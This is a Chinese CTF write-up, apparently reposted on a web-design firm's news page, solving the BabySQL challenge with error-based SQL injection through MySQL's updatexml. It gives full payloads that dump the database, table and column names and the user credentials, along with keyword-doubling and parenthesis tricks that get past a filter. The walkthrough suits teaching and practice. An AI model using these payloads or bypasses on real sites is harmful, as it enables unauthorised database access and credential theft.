ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

(SQL注入学习)无回显的报错注入(Error-Based)

(SQL注入学习)无回显的报错注入(Error-Based) 摘要本题主要考查对无回显的报错注入 实战使用方法。目录一、题目详情二、解题思路及原理1、登录绕过2、利用 updatexml 函数爆库名1完整函数输入2双写关键字实现绕过过滤机制4、利用 updatexml 函数爆字段名5、利用 updatexml 函数爆数据一、题目详情题目来源CTF²中的“[极客大挑战 2019]BabySQL”靶机环境启动靶机进入靶机http://bcb4835e85fc7c1a933a9d4d.http-ctf2.dasctf.com:80二、解题思路及原理1、登录绕过万能密码失效但可以得出1页面是不显示查询结果但会显示 SQL 报错信息2是字符型注入2、利用updatexml函数爆库名 and updatexml(1,concat(0x7e,(select database()),0x7e),1)#注页面会报错XPATH syntax error: ~test~从而拿到数据库名。and逻辑与把恶意条件拼进原查询。updatexml(xml_target, xpath_expr, new_value)是 MySQL 用来修改 XML 文档的函数。updatexml第1参数和第3参数这里随便给个1占位因为根本不打算真的修改只为触发报错无实际作用。updatexml第2个参数要求合法的 XPATH 表达式传入非法内容时会把内容原样带出报错XPATH syntax error: ...如果 XPath 格式错误MySQL 会抛出错误并把错误内容即你传入的字符串显示在报错信息里。通过看这个内容来判断我们的sql语句注入情况concat(0x7e, (子查询), 0x7e)把~ 子查询结果 ~拼成一个字符串作为非法 XPath。0x7e是~的十六进制作为边界标记方便从报错里截取有效内容updatexml()和extractvalue()函数在报错注入时报错信息中能回显的字符串长度最大就是 32 个字符。但为了能看到“~”边界标记这里设置默认为30个字符测试1完整函数输入注意看那个报错内容把我们的关键字进行过滤了因为select不见了。因为还不确定会不会过滤别的关键字但经过测试会把所有关键字过滤。此外从报错内容可以看到我们前面那个and和空格都不见了说明还会过滤空格和and。后续通过||或运算代替and把注入语句拼进原有查询空格过滤掉就不用写空格了。其实应该这么写才能代替and把注入语句拼入原有查询 || ... || 但后面我用用#把“||”注释掉了2双写关键字实现绕过过滤机制过滤逻辑是「检测到关键字就删除且只删一次」。绕过方法把关键字自身嵌套进自己中间删掉中间一份后剩余部分正好拼回原词原关键字双写形式删除一次后selectselselectectselectfromfrfromomfromwherewwhereherewhereoroorr嵌在单词里orsubstrsubsubstrstrsubstrlimitllimitimitlimit本题最大的坑过滤器不分单词边界直接删子串所以会误伤正常单词information_schema含or→ 被删成infmation_schema→ 需写成infoorrmation_schemapassword含or→ 被删成passwrd→ 需写成passwoorrd如何诊断会过滤哪些词报错回显里缺了哪个词下次就把哪个词双写。报错信息会原样显示最终执行的 SQL 片段对比自己提交的 payload 就能精确看出过滤名单。经测试需要输入以下的sql代码才能绕过拿到库名||updatexml(1,concat(0x7e,(selselectect database()),0x7e),1)#3、利用updatexml函数爆表名 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),1)#子查询select group_concat(table_name) from information_schema.tables where table_schemadatabase()group_concat(table_name)聚合函数把多行table_name合并成一个逗号分隔的字符串。因为updatexml的第 2 参数只能接收单值若直接select table_name会返回多行而报错所以用group_concat把多行压成一行from information_schema.tablesinformation_schema是 MySQL 自带的元数据数据库tables表记录了所有库对应的所有表的信息where table_schemadatabase()过滤条件只取当前所在数据库的表database()返回当前数据库名。table_nameinformation_schema.tables里的字段即表的名字这个是标准写法但前面得知已经是存在过滤机制的故需要对过滤构建另一种写法。||updatexml(1,concat(0x7e,(selselectect(group_concat(table_name))frfromom(infoorrmation_schema.tables)whewherere(table_schemageek)),0x7e),1)#selselectect绕过「删一次」式过滤删除后还原成selectfrfromom同上还原成frominfoorrmation_schema绕过对or/information的过滤大量()打断 WAF 正则的连续关键词匹配同时不破坏 SQL 语法||替代and/or绕过关键词过滤括号在 SQL 里本来就可用于包裹子查询/表达式(select ...)→ 子查询合法(group_concat(...))→ 函数调用加括号合法from (information_schema.tables)→ 表名加括号合法where (table_schemageek)→ 条件加括号合法结果如下拿到了两个表根据做题经验flag一般藏在b4bsql中。4、利用updatexml函数爆字段名 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_name表名),0x7e),1)#同上这里不过阐述。这个是标准写法但前面得知已经是存在过滤机制的故需要对过滤构建另一种写法。||updatexml(1,concat(0x7e,(selselectect(group_concat(column_name))frfromom(infoorrmation_schema.columns)whwhereere(table_nameb4bsql)),0x7e),1)#测试结果如下得到了字段名为id、username、password5、利用updatexml函数爆数据 and updatexml(1,concat(0x7e,(select group_concat(字段1,0x3a,字段2) from 表名),0x7e),1)#同上这里不过阐述。这个是标准写法但前面得知已经是存在过滤机制的故需要对过滤构建另一种写法。||updatexml(1,concat(0x7e,(selselectect(subsubstrstr(group_concat(username,:,passwoorrd),N,30))frfromom(b4bsql)),0x7e),1)#由于每次回显的是30个字符故需要修改参数N依次取 1, 31, 61, 91, 121, 151, 181, 211直到最后界面上显示的是~~即为输出结果。substr(..., N, 30)从第 N 位开始取 30 个字符——解决 32 字符回显上限group_concat(username, 0x2d, password)把多行username-password拼成一行N1N31N61N91N121N151N181开始出现flag了就快拿到了N211其实这里已经拿到完整的flag但我还想看看后面是啥。N241看到出现“~~”显示输出结束的标志了
返回列表